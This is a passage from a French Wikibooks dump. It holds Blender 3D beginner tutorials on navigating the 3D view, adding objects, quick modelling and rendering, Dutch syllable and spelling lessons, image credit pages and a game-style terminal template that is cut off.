puis en haut et en bas. C'est un cube ! Appuyer sur '''MMB''' est la manière la plus rapide et la plus facile pour tourner votre vue et obtenir une nouvelle perspective de vos objets. Bien, maintenant vous êtes en train de regarder le cube dans ce que l'on appelle le mode Fil de fer. En appuyant sur '''ZKEY''' (oui, sur votre clavier, la touche Z) vous basculerez entre le mode Fil de fer et le mode Solide. Ceci n'affecte pas la manière dont votre produit final apparaîtra, seulement la manière dont vous voyez votre scène pendant que vous la créez. ''si vous n'avez pas de '''MMB''' sur votre souris, la même rotation peut être réalisée en appuyant sur '''ALT+LMB'''. Si votre souris n'a pas de '''LMB''', et bien, il est temps d'acheter une souris.'' Comme vous avez déplacé la vue, vous voyez qu'il existe par défaut les quatre objets suivants dans votre scène 3D : <div style="clear: left; height: 20px;"> </div> [[Image:Camera blender.jpg|left]] 1) '''La caméra'''<br /> La localisation et la rotation de la caméra déterminera ce que vous verrez lors du rendu. Pour voir dans votre fenêtre de vue 3D ce que la caméra verra, activez la fenêtre 3D en déplaçant le pointeur de la souris dessus et appuyez sur '''NUM0''' (n'oubliez pas que '''0KEY''' est différente !). <div style="clear: left; height: 20px;"> </div> [[Image:Lamp.jpg|left]] 2) '''Une lampe'''<br /> Une lampe est simplement une source lumineuse. Elle ne sera pas rendue, mais la lumière qu'elle fournit le sera. La supprimer plonge la scène dans le noir. <div style="clear: left; height: 20px;"> </div> [[Image:Cube.jpg|left]] 3) '''Un cube'''<br /> Cet objet sera rendu. La caméra devrait pointer sur ce cube, c'est à dire que vous le verrez lors du rendu. <div style="clear: left; height: 20px;"> </div> [[Image:Blender_3D-cursor.png|left]] 4) '''Le curseur 3D'''<br /> Ceci n'est pas un objet, mais un outil à utiliser par l'artiste, pour choisir où mettre de nouveaux objets dans la scène, comme le curseur lorsque vous utilisez un traitement de texte. <div style="clear: left; height: 20px;"> </div> Plus tard, vous en apprendrez plus sur l'usage de chacun d'eux. ''[NOTE: Si vous utilisez un clavier qui n'a pas de pavé numérique, comme un clavier d'ordinateur portable, regardez les commandes pour laptops plus bas.]'' En plaçant le pointeur de la souris sur la fenêtre de vue 3D et en appuyant sur les touches '''NUM7''', '''NUM1''', et '''NUM3''' vous reviendrez parfaitement aligné respectivement en vue de dessus, de face et de coté. Appuyer sur '''CTRL+NUM7''', '''CTRL+NUM1''', et '''CTRL+NUM3''' affichera respectivement les vues de dessous, d'arrière et ''autres'' cotés. Essayez chacune de ces vues, et regardez la caméra et la lumière bouger autour en respectant votre nouveau point de vue (assurez-vous que '''NUMLOCK''' est activé. Sinon, cela ne marchera pas). De manière similaire, en passant le pointeur de la souris sur la fenêtre 3D et en appuyant sur '''NUM2''', '''NUM4''', '''NUM6''', et '''NUM8''' vous ferez tourner la vue respectivement vers le bas, la gauche, la droite, et le haut. L'objet sur lequel la vue est centrée peut être modifiée en le sélectionnant avec '''RMB''' puis en appuyant sur '''NUM.''' (ou '''NUM,''' selon la disposition de votre clavier). Encore une fois, rappelez-vous que dans Blender, il existe une grande différence entre les chiffres du pavé numérique et les chiffres le long du clavier. Par exemple, '''NUM7''' fait référence au chiffre 7 sur le pavé numérique, tandis que '''7KEY''' fait référence au chiffre qui se trouve au-dessus des '''YKEY''' et '''UKEY''' sur un clavier AZERTY. Si vous avez appuyé accidentellement '''1KEY''', '''3KEY''', ou '''7KEY''' pendant cette étape et que tout disparaît, vous pouvez résoudre cela en appuyant sur la touche '''`KEY''' (sur la touche '''7KEY''' en minuscule sur un clavier AZERTY). ''[NOTE: les touches '''1KEY''' à '''0KEY''' et '''alt-1KEY''' à '''alt-0KEY''' changent de calque. maintenez '''SHIFT''' appuyé pour sélectionner plusieurs calques. '''`KEY''' sélectionne les 20 calques. Nous verrons les calques plus tard.]'' === Pour les utilisateurs de portables : le pavé numérique === Comme mentionné précédemment, les portables récents (certains PC et tous les Mac récents) ont un ensemble de touches classiques (de '''?KEY''' en bas à droite à '''9KEY''' tout en haut à droite) avec une inscription supplémentaire correspondant à un clavier numérique classique. Ce comportement peut être sélectionné via la touche '''F6''' ou '''F11''' marquée ''Verr Num''. Si ca ne marche pas, vous pouvez activer temporairement le pavé numérique en maintenant la touche '''FN''' (en bas à gauche de votre clavier) et utiliser les touches comme si c'était un pavé numérique jusqu'à ce que vous relâchiez le bouton '''FN'''. Cela permet d'utiliser le pavé numérique pour controler la souris sans pour autant vous empêcher d'utiliser normalement ces touches. ==Déplacer la vue== Pour déplacer la vue, vous avez le choix entre deux alternatives : * '''SHIFT+MMB''' * '''SHIFT+ALT+LMB''' &mdash;et bouger votre souris. Si vous avez une roulette, vous pouvez utiliser SHIFT+Défilement pour déplacer la vue horizontalement et CTRL+Défilement pour déplacer la vue verticalement. Déplacer la vue est une chose importante à maîtriser; essayez-le maintenant. Notez que vous devez appuyer sur '''SHIFT''' ''avant'' '''MMB''', sinon, votre vue tournera à la place d'être déplacée. ==Zoomer== Zoomer vers l'avant et vers l'arrière est aussi important. Encore une fois, Blender vous offre plusieurs manières pour faire ce dont vous avez besoin : * si votre souris a une roulette, tournez-la, sinon : * '''CTRL+ALT+LMB''' * '''CTRL+MMB''' * '''NUM+''' et '''NUM-''' Essayez tout cela. Pouvez-vous voir que ceci sera très utile ? ==Placer le curseur 3D== Cliquez le '''LMB''' à la droite du cube, à mi-chemin entre le bord de la fenêtre et le cube. Le cercle rouge et blanc (le '''curseur 3D''') se déplace où vous avez cliqué. Tournez la vue de nouveau et notez que le curseur 3D marque un point dans l'espace 3D. Dans toute perspective rotationnelle, l'ensemble des points 3D possibles où vous pouvez placer le curseur est défini par le plan de votre écran. Si vous regardez le plan standard direct (c'est à dire le plan standard est exactement parallèle à votre écran), vous placerez le curseur à la même hauteur au-dessus ou en dessous le plan standard quel que soit l'endroit où vous cliquez. Si vous n'avez pas compris cette dernière phrase, ne vous inquietez pas trop, bientôt vous comprendrez ce que nous essayons de dire. Une expérience plus intéressante est de tourner le plan standard donc la fin gauche est plus éloignée de vous (et ainsi, plus éloignée du plan de votre écran) que la droite. Dans cette vue, placer le curseur sur la gauche le placera plus près vers l'avant du plan, et le placer sur la droite le placera plus près vers l'arrière. ==Ajouter et supprimer des objets== Assurez-vous que vous êtes en "Object Mode". Si ce n'est pas le cas, appuyez sur '''TAB'''. '''TAB''' bascule entre les modes "Edit Mode" et "Object Mode". En haut à droite de la fenêtre, une barre d'état vous indique le mode courant en affichant "Ob" ou "Ed" selon le mode dans lequel vous vous trouvez. Cliquez sur '''RMB''' ('''Cmd+LMB''' sur Mac) sur le cube pour être sûr qu'il soit sélectionné. Appuyez sur '''XKEY''' ou sur '''DELKEY''' pour le supprimer. Une fenêtre apparaîtra pour confirmer l'effacement de l'objet. Cliquer sur "Erase Selected" (effacer sélection). Pour ajouter un objet, appuyez sur '''SPACE'''. Un menu est appelé "Toolbox" (barre d'outils) apparaît. Sélectionnez '''"Add" &rarr; "Mesh" &rarr; "Monkey"''' (Ajouter/Maille/Singe).Si vous êtes en mode "Edit Mode", vous vous contentez de '''"Add" &rarr; "Monkey"'''. Un nouvel objet sera ajouté, et vous serez dans ce que l'on appelle le "Edit Mode" (mode d'édition). Appuyez sur '''TAB''' pour sortir de ce mode, puis sur '''CKEY''' pour centrer l'écran sur le curseur (où le singe apparaît). Appuyez sur '''ZKEY''' deux fois, ce qui basculera la fenêtre de vue entre l'affichage plein et l'affichage en fil de fer. Zoomez vers l'avant ou vers l'arrière pour une vue complète (défilement avec le '''MMB''', '''+KEY''', ou '''ALT+CTRL+LMB'''). ==Manipulation d'objet de base== Dans tout programme de modélisation 3D, vous pouvez faire trois actions sur un objet : une '''r'''otation, une translation (c'est à dire un mouvement latéral; Blender appelle ceci "'''g'''rab"), et '''s'''cale (changement d'échelle). Vous pouvez faire ceci en appuyant simplement sur la lettre initiale de chaque action ('''RKEY''', '''GKEY''', '''SKEY'''). Appuyer deux fois sur '''RKEY''' vous permettra de manipuler votre objet en "Trackball Mode". Vous pouvez aussi mettre à l'échelle, tourner, et translater les objets en utilisant la souris comme ce qui suit (assurez-vous que l'objet est sélectionné (en rose)) : # Dessinez un cercle dans la vue en arrière-plan avec '''LMB'''. Ceci activera le mode rotation sur l'objet sélectionné. # Dessinez une ligne droite dans la vue d'arrière-plan avec '''LMB'''. Ceci activera le mode grab sur l'objet sélectionné. # Dessinez un zig-zag (formé comme ceci : /\ ou \/) dans la vue en arrière-plan avec '''LMB'''. Ceci activera le mode mise à l'échelle sur l'objet sélectionné. ''Note : dans la version 2.3.6 de Blender pour Macintosh OSX, la mise à l'échelle est réalisée en traçant un cercle avec '''LMB''' et la rotation par un gribouillage avec '''LMB'''.'' <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Autres fenêtres|Les autres fenêtres]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/La fenêtre de boutons]]''</small></div> Blender 3D: Autres fenêtres/Les autres fenêtres 4692 17442 2005-07-24T14:19:43Z Jim2k 289 Ajout de la navigation de pages <div>''Page suivante : [[Blender 3D: Autres fenêtres/Apprendre à modéliser|Apprendre à modéliser]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/La fenêtre de vue 3D|La fenêtre de vue 3D]]''</small></div> <div>''Page suivante : [[Blender 3D: Autres fenêtres/Apprendre à modéliser|Apprendre à modéliser]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/La fenêtre de vue 3D|La fenêtre de vue 3D]]''</small></div> Syllabes (néerlandais) 4693 18233 2005-08-01T08:22:53Z 155.91.64.10 /* Syllabes fermées C<sup>1</sup>VC<sup>2</sup> ou VC<sup>2</sup> */ {{Modèle:Néerlandais-Page-Suivante|Prec=Voyelles|Suiv=Sons et orthographe|TDM=Phonologie}} Comme nous l'avons vu précédemment, le type de syllabe influe largement sur la prononciation des voyelles nous allons donc passé en revue les différents types de syllabes existants: == Syllabes fermées C<sup>1</sup>VC<sup>2</sup> ou VC<sup>2</sup> == Ce sont les plus courantes. On peut signaler que certains syllabes en fin de mot subissent des modifications de prononciations: * ''en'': n'est pas prononcé et est souvent réduit à un schwa (e final français) * ''lijk'' est prononcé comme ''lek'' * ''tie'' est prononcé comme ''tsie'' (Pays-Bas) ou ''sie'' (Belgique) * ''thie'' est prononcé comme ''tie'' * ''ig'' est prononcé comme ''eg'' * ''isch'' est réduit à ''is'' * les consonnes peuvent perdre leur caractères voisés (''b'' prononcé comme ''p'', ''d'' prononcé comme ''t'', ''v'' écrit et prononcé comme 'f'', ''z'' écrit et prononcé comme 's'' ...) == Syllabe ouvertes C<sup>1</sup>V ou V == Contrairement au français, elle ne constitue pas la norme. {{Modèle:Néerlandais-Page-Suivante|Prec=Voyelles|Suiv=Sons et orthographe|TDM=Phonologie}} Syllables (néerlandais) 4694 17455 2005-07-24T15:20:37Z Laurent Bouvier 425 Syllables (néerlandais) déplacé vers Syllabes (néerlandais) #redirect [[Syllabes (néerlandais)]] Écrire les syllabes (néerlandais) 4695 18240 2005-08-01T08:44:15Z Laurent Bouvier 425 {{Néerlandais-Page-Suivante|Prec=Syllabes|Suiv=Comment décomposer les syllables|TDM=Phonologie}} Le néerlandais s'écrit en règle général comme il se prononce. Il y a donc une correspondance exacte entre les sons que nous avons vu et leur graphie. Pour s'avoir comment écrire il faut préter attention à deux aspects: * Le type de [[Syllabes (néerlandais)|syllabes]]: ouvert ou fermé * La longueur de la [[Voyelles (néerlandais)|voyelle]]: courte ou longue {| align="center" cellpadding="3" style="background: #ccf;border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; text-align: center; font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho;" ! ! Syllabe ouverte finale <br> C<sup>1<sup>V ! Syllabe ouverte non finale <br> C<sup>1<sup>V.(C<sup>3<sup>...) ! Syllabe fermée <br> C<sup>1<sup>VC<sup>2<sup> |- ! Voyelle courte '''V''' | (n'existe pas) | /C<sup>1<sup>V/ s'écrit C<sup>1<sup>VC<sup>3<sup>(C<sup>3<sup>...) <br> avec doublement de la consonne suivante | /C<sup>1<sup>VC<sup>2<sup>/ s'écrit '''C<sup>1<sup>VC<sup>2<sup>''' |- ! Voyelle longue '''V:''' | /C<sup>1<sup>V:/ s'écrit '''C<sup>1<sup>V''' | /C<sup>1<sup>V:/ s'écrit '''C<sup>1<sup>V''' | /C<sup>1<sup>V:C<sup>2<sup>/ s'écrit '''C<sup>1<sup>VVC<sup>2<sup>'''<br> avec doublement de la consonne longue |} == Voyelles que l'on ne double pas == Les voyelles déjà écrite par plusieurs lettres ne se doublent pas. * moe - moet * deuren - deur C'est le cas pour toutes les diphtongues: * goud - gouden * huis - huizen * wijn - wijnen == Attention à certains groupes de consonnes == *''sch'' doit toujours se décomposer en ''s'' et ''ch'' à prononcer <span style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" >/sχ/</span> Exemple: schrijven *''ng'' doit toujours rester ensemble. Ainsi 'jongen' se lit <span style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" >/jɔŋǝ:/</span> et non <span style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" >/jɔnχǝ:/</span> == Conséquence sur le pluriel et la dérivation == Les voyelles vont provoquées des transformations du radical écrit pour conserver la prononciation. * haar - haren (cheveux) * kantoor - kantoren (bureau/x) * duur - duren (durée) Les verbes vont avoir des voyelles graphiquement différente selon la personne. * ik ga * je gaat * we gaan {{Néerlandais-Page-Suivante|Prec=Syllabes|Suiv=Comment décomposer les syllables|TDM=Phonologie}} Image:Camera blender.jpg 4696 17472 2005-07-24T16:39:15Z Jim2k 289 image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Camera.jpg image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Camera.jpg Image:Lamp.jpg 4697 17473 2005-07-24T16:40:09Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Lamp.jpg Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Lamp.jpg Image:Cube.jpg 4698 17475 2005-07-24T16:40:53Z Jim2k 289 image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Cube.jpg image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Cube.jpg Image:Blender 3D-cursor.png 4699 17476 2005-07-24T16:41:44Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_3D-cursor.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_3D-cursor.png Image:Blenderlogic.png 4700 17482 2005-07-24T17:10:46Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderlogic.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderlogic.png Image:Blenderediting.png 4701 17483 2005-07-24T17:11:29Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderediting.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderediting.png Image:Blenderlamp.png 4702 17484 2005-07-24T17:12:00Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderlamp.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderlamp.png Image:Blenderscript.png 4703 17485 2005-07-24T17:12:00Z Ludoland17 427 Image:Blendershading.png 4704 17486 2005-07-24T17:12:26Z Ludoland17 427 Image:Blendermaterial.png 4705 17487 2005-07-24T17:12:33Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blendermaterial.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blendermaterial.png Image:Blenderobject.png 4706 17488 2005-07-24T17:12:48Z Ludoland17 427 Image:Blenderscene.png 4707 17489 2005-07-24T17:13:10Z Ludoland17 427 Image:Blenderradio.png 4708 17490 2005-07-24T17:14:20Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderradio.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blenderradio.png Image:Blenderworld.png 4709 17491 2005-07-24T17:15:19Z Ludoland17 427 Image:Blendertexture.png 4710 17492 2005-07-24T17:15:54Z Ludoland17 427 Blender 3D: du débutant au pro/Apprendre à modeler 4712 39684 2006-04-05T16:38:16Z Molyss 1342 [[Blender 3D: du débutant au pro/Apprendre à modéliser]] déplacé vers [[Blender 3D: du débutant au pro/Apprendre à modeler]] <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Modèle rapide]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Autres fenêtres]]''</small></div> La partie la plus basique du développement 3D, c'est le modelage, parce que c'est là que vous créez le contenu, ou "modèles". Créer des modèles en 3D est amusant, et quelques fois stimulant. Sur la page suivante, vous ferez les premiers pas dans l'apprentissage du modelage. Si vous êtes excités, tant mieux ! Mais si vous êtes apeurés, ne vous inquiétez pas, ça commencera très facilement. Donnez-vous du temps et de la patience, Pixar existera encore quand vous serez prêts à travailler pour eux. <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Modèle rapide]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Autres fenêtres]]''</small></div> Blender 3D: du débutant au pro/Autres fenêtres 4714 39687 2006-04-05T16:39:38Z Molyss 1342 <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Apprendre à modeler|Apprendre à modeler]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/La fenêtre de vue 3D|La fenêtre de vue 3D]]''</small></div> Alors que vous pensez maîtriser la fenêtre de boutons et la fenêtre de vue 3D, il existe encore plusieurs autres fenêtres à apprendre. N'ayez pas peur; ce livre vous guidera gentiment tout le long du parcours et vous apprendra ces fenêtres lorsque vous devrez vous en servir. Pour l'instant, vous devez seulement savoir qu'elles existent. [[Image:Blender3D window type selector.png|right]] Dans la fenêtre de vue 3D, vous verrez un bouton sur l'en-tête à gauche sur lequel est affiché une sorte de grille (si vous ne le voyez pas, cliquez sur un séparateur de fenêtres avec le '''MMB''' ou le '''RMB''' et sélectionnez "Add Header"). Ce bouton vous permet de basculer dans les différents types de fenêtres. Cliquez dessus avec le '''LMB''' et vous verrez un certain nombre de types de fenêtres que vous pourrez choisir. Essayez certains d'entre eux, vous apprendrez leur utilité en temps utile. Changez le type de fenêtre pour revenir à la vue 3D avant d'aller au prochain didacticiel. <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Apprendre à modeler|Apprendre à modeler]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/La fenêtre de vue 3D|La fenêtre de vue 3D]]''</small></div> Image:Blender3D window type selector.png 4715 17507 2005-07-24T18:07:14Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_window_type_selector.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender3D_window_type_selector.png Blender 3D: du débutant au pro/Modèle rapide 4716 42931 2006-05-21T13:06:42Z 82.126.112.64 <div>''Sommaire : [[Blender3D]]</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Rendu rapide|Rendu rapide]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Apprendre à modeler|Apprendre à modeler]]''</small></div> Votre premier modèle est facile Ouvrez (de nouveau) Blender. [[Image:Blender_object_mode_1.png|thumb|150px|right|Un cube en object mode.]] En supposant que vous n'avez pas déjà changé les User Preferences (préférences utilisateur), le fichier Blender par défaut s'ouvre avec votre premier modèle ! Vous devriez voir un carré dans la fenêtre de vue 3D (si vous tournez la vue, vous verrez qu'en fait, c'est un cube). Cliquer sur un objet avec le '''RMB''' ('''Cmd+LMB''' sur Mac) le sélectionne et ses bords deviennent roses. Le cube devrait être déjà sélectionné par défaut. [[Image:Blender_edit_mode_1.png|thumb|150px|right|Le cube après l'édition en edit mode.]] Bien. Maintenant vous êtes dans ce que l'on appelle l' '''Object Mode'''. Dans ce mode, vous pouvez déplacer le cube dans l'environnement 3D en relation avec les autres objets. Après avoir sélectionné le cube, appuyez sur '''TAB'''. Ceci vous place dans ce que l'on appelle l' '''Edit Mode'''. Dans ce mode, vous pouvez changer la forme et la taille du cube. Vous pourriez convertir un cube en chiot&hellip; ou au moins vous le pourrez un jour ;). Notez qu'avec le '''RMB''' vous pouvez aussi sélectionner la caméra ou la lampe, mais que si vous le faites, vous ne pourrez plus aller dans l''''Edit Mode''' (les caméras et les lampes sont éditées différemment). Maintenant que vous êtes dans l'Edit Mode, vous avez accès aux sommets. Les sommets sont affichés en rose lorsqu'ils ne sont pas sélectionnés, et en jaune lorsqu'ils le sont. Les sommets sont des points de contrôle que vous pouvez connecter pour créer des arêtes et des faces. Les arêtes relient deux sommets, et les faces relient trois ou quatre sommets. Si tous les sommets sont jaunes (sélectionnés), appuyez sur '''AKEY''' pour déselectionner tous les sommets ('''AKEY''' alterne entre 'sélectionner tous' et 'sélectionneraucun'). cliquez le '''RMB''' ('''Cmd+LMB''' sur Mac) sur un des sommets et vous devriez le voir changer en jaune, ce qui veut dire qu'il est sélectionné (si tout ce que vous voyez est un gros point bleu, essayez de tourner la vue pour voir ce qu'il se passe). ''Si vous ne pouvez sélectionner aucun sommet, appuyez sur la ZKEY et assurez-vous que vous êtes en ''Transparent Mode''. Si vous voyez un cercle avec quelques flèches pointant à l'extérieur, vous avez activé le 3D Transform Widgets, et vous n'êtes pas près pour cela encore ! Pour le désactiver, cliquez le bouton sur l'en-tête avec une main dessus [[Image:Handicon_blender.png]].'' Une fois le sommet sélectionné, appuyez sur '''GKEY''' et déplacez votre souris. Vous devriez voir le sommet sélectionné suivre le curseur. Souvenez-vous, '''GKEY''' vous permet de sélectionner et de déplacer une sélection. Choisissez un nouvel emplacement pour votre sommet et appuyez sur le '''LMB''', '''ENTER''', ou '''SPACE''' pour placer le sommet dans cet emplacement. Tourner la vue pour voir l'impact du changement. <div>''Sommaire : [[Blender3D]]</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Rendu rapide|Rendu rapide]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Apprendre à modeler|Apprendre à modeler]]''</small></div> Image:Blender object mode 1.png 4718 39689 2006-04-05T16:53:25Z Molyss 1342 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_object_mode_1.png == License == {{Capture d'écran}} Image:Blender edit mode 1.png 4719 39691 2006-04-05T16:55:09Z Molyss 1342 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_edit_mode_1.png == License == {{Capture d'écran}} Image:Handicon blender.png 4720 17535 2005-07-24T21:22:41Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Handicon_blender.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Handicon_blender.png Blender 3D: du débutant au pro/Modélisation maillée 4721 39860 2006-04-08T19:27:46Z Molyss 1342 <div>''Sommaire : [[Blender3D]]''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Modéliser un personnage simple|Modéliser un personnage simple]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Rendu rapide|Rendu rapide]]''</small></div> La modélisation maillée est le type le plus commun de modélisation. Si vous avez fait le didacticiel [[Blender 3D: du débutant au pro/Modèle rapide|Modèle rapide]], alors vous avez déjà fait de la modélisation maillée. L'exercice suivant vous aidera à mieux comprendre la modélisation maillée. # Prenez un morceau de papier et un crayon. # Dessinez trois points séparés d'environ 2,5 cm de façon à former un triangle au centre de la feuille. # Chacun de ces points est appelé un '''sommet''' (vertex). # Maintenant, connectez deux des sommets avec un segment. Le segment est appelé une '''arête''' (edge). # Criez fièrement "Blender est génial !" comme ça tout le monde vous entend. :) # Dessinez deux arêtes supplémentaires, ainsi les trois sommets sont tous reliés. Vous devriez maintenant avoir un triangle dessiné sur le papier. Remplissez ce triangle. Ceci est appelé une '''face'''. # Maintenant dessinez un autre sommet (point) sur le papier. Reliez-le aux deux autres sommets (points) que vous venez de dessiner. Vous avez un autre triangle. Remplissez-le pour créer une autre face. Pouvez-vous imaginer faire la même activité dans un espace 3D ? Et bien la modélisation maillée, c'est essentiellement cela. Vous pouvez remplir la feuille avec plus de points, d'arêtes et de faces si vous voulez. Vous pouvez aussi essayer de créer quelque chose d'intéressant avec vos triangles. ''Regardez attentivement les personnages de jeux vidéos. Croyez-moi ou non, ils sont tous composés de petits triangles attachés les unes aux autres ! (bien entendu, les triangles sont très difficiles à voir dans les derniers jeux) Losque vous créez vos modèles, souvenez-vous que ce qui compte est d'avoir des points et des arêtes, c'est à dire que vous pouvez contrôler les points en espaces 3D pour vos faces. Lorsque la scène est rendue, seules les faces seront vues. Les sommets et les arêtes non connectés à une face n'apparaitront pas. <div>''Sommaire : Blender3D''</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Modéliser un personnage simple|Modéliser un personnage simple]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Rendu rapide|Rendu rapide]]''</small></div> Conjugaison des verbes français 4723 22407 2005-09-30T07:59:27Z Jusjih 513 La double redirection est terminée. #redirect [[Français/Conjugaison (formes verbales)]] Français/Orthographe/Conjugaison (formes verbales) 4724 17565 2005-07-25T12:08:22Z Esope 99 Français/Orthographe/Conjugaison (formes verbales) déplacé vers Français/Conjugaison (formes verbales): Erreur de ma part : MédiaWiki ne prend en charge qu'un seul "/" dans le titre, donc il n'est pas nécessaire d'avoir "Orthographe" dans le titre #redirect [[Français/Conjugaison (formes verbales)]] Image:180px-Blender first quickie render.png 4725 17575 2005-07-25T13:05:29Z Jim2k 289 Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_first_quickie_render.png Image issue du wikibook anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Blender_first_quickie_render.png Blender 3D: du débutant au pro/Rendu rapide 4726 39850 2006-04-08T18:16:28Z Molyss 1342 <div>''Sommaire : [[Blender3D]]</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Modélisation maillée|Modélisation maillée]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Modèle rapide|Modèle rapide]]''</small></div> [[image:180px-Blender_first_quickie_render.png|thumb|Votre premier rendu rapide devrait ressembler à quelquechose comme ceci.]] Si vous n'avez pas fini le didacticiel précédent (le didacticiel [[Blender 3D: du débutant au pro/Modèle rapide|Modèle rapide]]), faites-le maintenant. Gardez le même fichier ouvert à partir de ce didacticiel parce que nous l'utiliserons ici. Maintenant que vous avez créé votre premier modèle, vous voudrez sans doute voir son rendu. Le rendu est rapide et facile : placez-vous en ''Object Mode'' si vous en êtes sorti et appuyez tout simplement sur '''F12'''. Vous pouvez aussi cliquer sur ''''Render &rarr; Render Current Frame'''.' ''Un '''rendu''' est la création d'une image vue de la caméra, en prenant compte de tous les effets d'environnement de votre scène, et en générant une image réaliste basée sur vos réglages. Ce premier rendu finira très vite, mais vous verrez que lorsque vos scènes 3D deviendront plus complexes, le rendu prendra très longtemps''. ''Si votre cube est noir, vous ne devez pas avoir de source lumineuse dans la scène. Certaines versions de Blender ne créent pas de lampe (source de lumière) par défault, et vous devez en ajouter une. Pour ajouter une lampe, passez en object mode et appuyez sur la barre d'espace pendant que votre souris est au-dessus de la fenêtre de vue 3D. Sélectionner '''Add &rarr; Lamp''' qui vous donnera le choix pour ajouter différents types de lampes''. Ceci est un rendu relativement simple. Il peut être arrangé un peu mais il vous donne une bonne idée de l'aspect actuel de votre modèle. Gardez à l'esprit que vous pouvez utiliser la touche '''F12''' aussi souvent que vous le voulez. A un certain point, vous voudrez probablement enregistrer vos rendus. Au-dessus de la fenêtre de vue 3D, sélectionnez '''File &rarr; Save image&hellip;''' ou appuyez simplement sur '''F3'''. Un menu avec une liste de répertoires apparaîtra; la ligne de texte supérieure désigne le répertoire et celle inférieure vous permet de taper le nom de l'image, comme "monpremierrendu.jpg"&mdash;notez que Blender '''n'ajoutera pas''' l'extension ".jpg" automatiquement si vous quittez cette fenêtre. <div>''Sommaire : [[Blender3D]]</div> <div>''Page suivante : [[Blender 3D: du débutant au pro/Modélisation maillée|Modélisation maillée]]''</div> <div><small>''Page précédente : [[Blender 3D: du débutant au pro/Modèle rapide|Modèle rapide]]''</small></div> Modèle:Terminal MarathonB 1 4729 20073 2005-08-26T17:52:26Z W'rkncacnter 327 {| border="1" cellpadding="0" cellspacing="0" bordercolor="#333333" align="center" | {|width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000"| Opening Connection to ß.4.5-23 |height="18" style="font-family: Courier;font-size:11px;line-height:12px; color: #ff0000" align="right"|0218 05.10.2337  |} {|width="640" border="0" cellpadding="0" cellspacing="0" |- bgcolor="#000000" |height="204" align="center" valign="bottom"|[[Image:{{{1}}}|306px]] |- bgcolor="#000000" |height="80" style="font-family: Courier;font-size:11px;line-height:12px; color: white" align="center" valign="top"|{{{2}}} |} {| width="640" border="0" cellpadding="0" cellspacing="0" bgcolor="#210000" |- bgcolor="#210000" |height="18" style="font-family: 